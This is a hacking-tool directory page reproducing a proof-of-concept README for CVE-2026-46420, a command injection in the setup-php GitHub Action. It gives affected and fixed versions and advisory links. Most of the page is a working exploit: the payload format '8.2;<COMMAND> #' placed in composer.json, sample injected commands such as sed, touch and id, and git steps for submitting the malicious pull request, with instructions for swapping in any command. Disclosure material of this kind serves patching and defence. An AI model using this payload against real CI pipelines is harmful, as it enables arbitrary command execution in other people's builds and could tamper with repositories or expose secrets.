Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jvr2022/cve-2026-46420
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubjvr2022/cve-2026-46420

CVE-2026-46420

PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.

View Repository
1454 months agoNot yet reviewed
Share

CVE-2026-46420 PoC

Command injection in shivammathur/setup-php when the PHP version is loaded from repository controlled files.

Affected:

>= 2.25.0, < 2.37.1

Fixed:

>= 2.37.1

PoC

The target repository already has a vulnerable workflow that checks out pull request contents and runs [email protected].

The attacker only changes composer.json.

-"php": "8.2"
+"php": [
+  "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]

When setup-php reads the PHP version from composer.json, the injected command is included in the generated shell script and executed.

Result:

-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc

Reproduce

Create a branch from the target repository:

git checkout -b poc-test

Replace the clean composer.json with the PoC version:

cp attacker/composer.json composer.json

Commit and push:

git add composer.json
git commit -m "update composer config"
git push -u origin poc-test

Open a pull request from poc-test to main.

The Actions run should show that demo-app/.env.example was modified during the setup-php step.

Changing the command

The payload format is:

8.2;<COMMAND> #

Current payload:

8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #

The executed command is:

sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example

To change what the PoC does, replace the command between 8.2; and #.

Create a file:

8.2;touch poc-executed #

Write to a file:

8.2;printf 'poc executed\n' > poc-result.txt #

Print command output:

8.2;id #

Example composer.json:

{
  "config": {
    "platform": {
      "php": [
        "8.2;touch poc-executed #"
      ]
    }
  }
}

Fix

Upgrade to [email protected] or newer.

The same payload is rejected on the patched version.

References

https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r

https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    994
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    656
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    422
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    333
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330

Explore all tools

Browse our collection of tools

View all tools →